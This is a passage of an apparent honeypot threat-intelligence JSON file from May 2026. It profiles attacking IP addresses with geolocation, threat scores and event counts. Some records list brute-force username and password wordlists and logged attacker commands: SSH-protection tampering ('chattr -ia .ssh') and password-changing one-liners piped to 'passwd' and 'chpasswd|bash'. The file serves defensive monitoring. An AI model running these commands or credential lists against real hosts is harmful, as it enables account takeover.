      "as_org": "Converge ICT Solutions Inc.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T03:01:40.933000+00:00",
        "last_seen_30d": "2026-05-05T03:02:58.446000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.99.62.131": {
      "attack_count": 2,
      "first_seen": "2026-05-03T06:47:17.951Z",
      "last_seen": "2026-05-03T06:47:30.823Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 264170,
      "as_org": "Winet Brasil",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T06:47:17.951000+00:00",
        "last_seen_30d": "2026-05-03T06:48:38.833000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "14.145.223.126": {
      "attack_count": 2,
      "first_seen": "2026-05-22T10:07:31.225Z",
      "last_seen": "2026-05-22T10:08:07.901Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:07:31.225000+00:00",
        "last_seen_30d": "2026-05-22T10:09:18.029000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "162.243.167.185": {
      "attack_count": 2,
      "first_seen": "2026-05-27T00:38:05.509Z",
      "last_seen": "2026-05-27T00:38:15.763Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T00:38:05.509000+00:00",
        "last_seen_30d": "2026-05-27T00:39:20.934000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.175.33.174": {
      "attack_count": 2,
      "first_seen": "2026-05-21T13:28:44.142Z",
      "last_seen": "2026-05-21T13:29:12.465Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T13:28:44.142000+00:00",
        "last_seen_30d": "2026-05-21T13:30:16.944000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.217.218.183": {
      "attack_count": 2,
      "first_seen": "2026-05-18T22:24:08.715Z",
      "last_seen": "2026-05-18T22:24:21.815Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Mys\u0142owice",
      "asn": 197181,
      "as_org": "Netico S.c.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:24:08.715000+00:00",
        "last_seen_30d": "2026-05-18T22:25:24.931000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.0.183.106": {
      "attack_count": 2,
      "first_seen": "2026-05-12T18:31:33.076Z",
      "last_seen": "2026-05-12T18:31:45.294Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Corrientes",
      "asn": 270044,
      "as_org": "CORRIENTES TELECOMUNICACIONES S.A.P.E.M.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T18:31:33.076000+00:00",
        "last_seen_30d": "2026-05-12T18:32:50.346000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.85.211.221": {
      "attack_count": 2,
      "first_seen": "2026-05-06T13:48:04.092Z",
      "last_seen": "2026-05-06T13:48:16.967Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Asunci\u00f3n",
      "asn": 27895,
      "as_org": "Nucleo S.A.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T13:48:04.092000+00:00",
        "last_seen_30d": "2026-05-06T13:49:27.002000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.127.227.198": {
      "attack_count": 2,
      "first_seen": "2026-05-21T02:13:56.340Z",
      "last_seen": "2026-05-21T02:14:08.932Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 201825,
      "as_org": "LLC ER-Telecom Moscow",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T02:13:56.340000+00:00",
        "last_seen_30d": "2026-05-21T02:15:13.080000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.30.41.60": {
      "attack_count": 2,
      "first_seen": "2026-05-19T17:49:14.372Z",
      "last_seen": "2026-05-19T17:49:27.233Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Georgiyevsk",
      "asn": 49759,
      "as_org": "SerDi TeleCom, LTD",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T17:49:14.372000+00:00",
        "last_seen_30d": "2026-05-19T17:50:34.165000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "209.14.102.13": {
      "attack_count": 2,
      "first_seen": "2026-05-03T09:34:54.382Z",
      "last_seen": "2026-05-03T09:36:54.385Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": null,
      "asn": 274110,
      "as_org": "RED-INALSOLUCIONES SAS",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:34:54.382000+00:00",
        "last_seen_30d": "2026-05-03T09:38:35.889000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "27.13.122.191": {
      "attack_count": 2,
      "first_seen": "2026-05-08T21:44:52.059Z",
      "last_seen": "2026-05-08T21:45:05.401Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T21:44:52.059000+00:00",
        "last_seen_30d": "2026-05-08T21:46:09.162000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.196.254.132": {
      "attack_count": 2,
      "first_seen": "2026-05-02T03:52:49.134Z",
      "last_seen": "2026-05-02T03:53:01.205Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Araure",
      "asn": 272864,
      "as_org": "CIDATA, C.A",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:52:49.134000+00:00",
        "last_seen_30d": "2026-05-02T03:54:05.592000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.15.187.84": {
      "attack_count": 2,
      "first_seen": "2026-05-06T02:48:37.661Z",
      "last_seen": "2026-05-06T02:48:50.827Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Solan",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T02:48:37.661000+00:00",
        "last_seen_30d": "2026-05-06T02:49:56.317000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.29.35.225": {
      "attack_count": 2,
      "first_seen": "2026-05-03T21:33:10.052Z",
      "last_seen": "2026-05-03T21:33:23.244Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Qiryat Ata",
      "asn": 12849,
      "as_org": "Hot-Net internet services Ltd.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:33:10.052000+00:00",
        "last_seen_30d": "2026-05-03T21:34:27.706000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.47.109.81": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:14:42.023Z",
      "last_seen": "2026-05-23T10:15:21.333Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:14:42.023000+00:00",
        "last_seen_30d": "2026-05-23T10:16:23.062000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.176.12.244": {
      "attack_count": 2,
      "first_seen": "2026-05-20T18:40:47.284Z",
      "last_seen": "2026-05-20T18:41:00.337Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:40:47.284000+00:00",
        "last_seen_30d": "2026-05-20T18:42:01.220000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.201.226.218": {
      "attack_count": 2,
      "first_seen": "2026-05-06T16:13:19.923Z",
      "last_seen": "2026-05-06T16:13:36.026Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": null,
      "asn": 44217,
      "as_org": "IQ Networks for Data and Internet Services Ltd",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:13:19.923000+00:00",
        "last_seen_30d": "2026-05-06T16:14:50.845000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "65.49.1.94": {
      "attack_count": 2,
      "first_seen": "2026-05-02T14:45:44.805Z",
      "last_seen": "2026-05-02T14:45:46.952Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 276,
        "days_active_30d": 30,
        "ports_targeted_30d": 72,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T06:53:26+00:00",
        "last_seen_30d": "2026-05-31T10:50:17.751000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 178,
        "Honeytrap": 78,
        "H0neytr4p": 8,
        "Adbhoney": 6,
        "Cowrie": 2,
        "Dionaea": 2,
        "Miniprint": 2
      }
    },
    "81.30.212.94": {
      "attack_count": 2,
      "first_seen": "2026-05-05T06:17:17.119Z",
      "last_seen": "2026-05-05T06:19:17.121Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Ufa",
      "asn": 24955,
      "as_org": "JSC Ufanet",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:17:17.119000+00:00",
        "last_seen_30d": "2026-05-05T06:29:25.831000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "93.45.34.217": {
      "attack_count": 2,
      "first_seen": "2026-05-19T20:15:52.946Z",
      "last_seen": "2026-05-19T20:16:06.677Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Rome",
      "asn": 12874,
      "as_org": "Fastweb",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:15:52.946000+00:00",
        "last_seen_30d": "2026-05-19T20:33:30.203000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.148.9.8": {
      "attack_count": 74037,
      "first_seen": "2026-05-02T00:00:43.411Z",
      "last_seen": "2026-05-04T22:07:12.202Z",
      "sessions": 24794,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 257524,
        "days_active_30d": 17,
        "ports_targeted_30d": 68301,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T00:00:15.897000+00:00",
        "last_seen_30d": "2026-05-18T05:15:09.157000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 182568,
        "Cowrie": 74037,
        "Honeytrap": 912,
        "Sentrypeer": 3,
        "Ciscoasa": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "45.153.34.186": {
      "attack_count": 4008,
      "first_seen": "2026-05-27T01:19:25.857Z",
      "last_seen": "2026-05-27T02:30:04.997Z",
      "sessions": 800,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "deploy",
        "ubuntu",
        "user",
        "pi",
        "test",
        "claude",
        "dev",
        "debian",
        "deployer",
        "openclaw",
        "sam",
        "guest",
        "minecraft",
        "postgres",
        "frappe",
        "runner",
        "server",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "1",
        "root",
        "12345678",
        "password",
        "12345",
        "123456789",
        "abc123",
        "toor",
        "111111",
        "qwerty",
        "123321",
        "1qaz@WSX",
        "test",
        "user",
        "1234567890",
        "Aa123456",
        "dev"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 5632,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T01:19:25.857000+00:00",
        "last_seen_30d": "2026-05-27T02:31:11.184000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4008,
        "Suricata": 1624
      }
    },
    "52.140.76.154": {
      "attack_count": 776,
      "first_seen": "2026-05-09T18:47:27.134Z",
      "last_seen": "2026-05-29T23:11:37.600Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "admin",
        "ubuntu",
        "testuser",
        "test",
        "dev",
        "devops",
        "myappuser",
        "omm",
        "bitnami",
        "examen",
        "ftptest",
        "ftpuser",
        "icp",
        "leon",
        "master",
        "mysql",
        "nodeuser",
        "oracle"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "pass",
        "password",
        "!",
        "00000000",
        "1",
        "111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456789",
        "12345q",
        "123qwe",
        "1q1q1q",
        "1qazwsx",
        "@Aa123123",
        "@dm!n"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"111\\nrQ7Gw9GHfrre\\nrQ7Gw9GHfrre\\n\"|passwd",
        "echo \"123456\\nFuExN31eInyU\\nFuExN31eInyU\\n\"|passwd",
        "echo \"1q1q1q\\nVU9xTfWq9ORP\\nVU9xTfWq9ORP\\n\"|passwd",
        "echo \"abc123\\nZQnsitWPh56Y\\nZQnsitWPh56Y\\n\"|passwd",
        "echo \"devops2023\\ndVfVhpzwECdd\\ndVfVhpzwECdd\\n\"|passwd",
        "echo \"password\\n3Df9ZLQfvZZx\\n3Df9ZLQfvZZx\\n\"|passwd",
        "echo \"password\\nM3a98PPuKAp5\\nM3a98PPuKAp5\\n\"|passwd",
        "echo \"root:2qVCysYxA69T\"|chpasswd|bash",
        "echo -e \"111\\nrQ7Gw9GHfrre\\nrQ7Gw9GHfrre\"|passwd|bash",
        "echo -e \"123456\\nFuExN31eInyU\\nFuExN31eInyU\"|passwd|bash",
        "echo -e \"1q1q1q\\nVU9xTfWq9ORP\\nVU9xTfWq9ORP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 55.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.6,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 911,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:47:27.134000+00:00",
        "last_seen_30d": "2026-05-29T23:12:44.453000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 776,
        "Suricata": 135
      }
    },
    "35.196.127.66": {
      "attack_count": 654,
      "first_seen": "2026-05-26T19:33:27.830Z",
      "last_seen": "2026-05-27T16:10:44.882Z",
      "sessions": 327,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Charleston",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1213,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T19:33:27.830000+00:00",
        "last_seen_30d": "2026-05-27T16:11:51.280000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 654,
        "Suricata": 559
      }
    },
    "43.228.112.254": {
      "attack_count": 459,
      "first_seen": "2026-05-10T13:17:49.622Z",
      "last_seen": "2026-05-19T10:44:04.907Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "db2inst",
        "db2inst1",
        "db2inst3",
        "minecraft",
        "nexus",
        "server",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx#EDC4rfv",
        "123",
        "1234.asdf",
        "123456",
        "123456a",
        "123789",
        "1a2b3c4d5e",
        "1qa2ws#ED",
        "1qaz2wsx3edc",
        "2056",
        "789456",
        "CentOS@123",
        "Dd123456",
        "P4ssword!",
        "Qw321",
        "Qwe12345.",
        "Qwer@123456",
        "S0p0rt3"
